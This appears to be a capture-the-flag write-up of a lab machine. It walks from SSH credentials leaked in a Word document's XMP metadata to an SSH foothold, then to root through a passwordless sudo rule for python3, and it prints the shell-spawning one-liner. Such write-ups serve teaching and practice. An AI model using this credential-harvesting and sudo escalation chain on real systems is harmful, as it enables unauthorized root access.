Home›CTF & Writeups›Corp Docs

Corp Docs

✓ SOLVED

RatCTF — Document Metadata → Credential Disclosure → SSH → Privilege Escalation (Python3)

1

Overview

A downloadable internal security report retained sensitive XMP metadata containing temporary SSH credentials. The leaked account provided the initial foothold, and an unsafe passwordless Python3 sudo rule provided root.

User Flag✓
Root Flag✓
StatusSolved
2

Document Discovery

The web portal exposed a Word document at /docs/report.docx. Burp confirmed an HTTP 200 response, so the document was downloaded for metadata analysis.

Document request
GET /docs/report.docx HTTP/1.1
Host: 170.187.147.233:30735
3

Metadata — SSH Credentials

ExifTools.com exposed XMP metadata that should have been removed before distribution. The description and subject revealed a temporary SSH password, username, and internal hostname.

Recovered metadata
Creator: Sarah Mitchell
acct: user
host: corp-docs.internal
ssh_temp_pass: M3taData_Exif!2026
Key findingThe visible document content was not the problem; the secret survived in the embedded XMP metadata.
4

Foothold — SSH Access

The recovered credentials authenticated to SSH on port 30734.

SSH
ssh -p 30734 user@170.187.147.233
ls
cat user.txt
USER FLAGflag{[REDACTED]}
5

Privilege Escalation — Python3

sudo -l revealed passwordless root execution of /usr/bin/python3. Python was used to replace itself with a root shell.

Sudo rule
(root) NOPASSWD: /usr/bin/python3
Root shell
sudo /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh")'
cat /root/root.txt
ROOT FLAGflag{[REDACTED]}
6

Attack Path

Both flags were captured. The flag strings remain redacted in both the HTML and the screenshots.

report.docx→XMP metadata→SSH credentials→User shell→sudo Python3→Root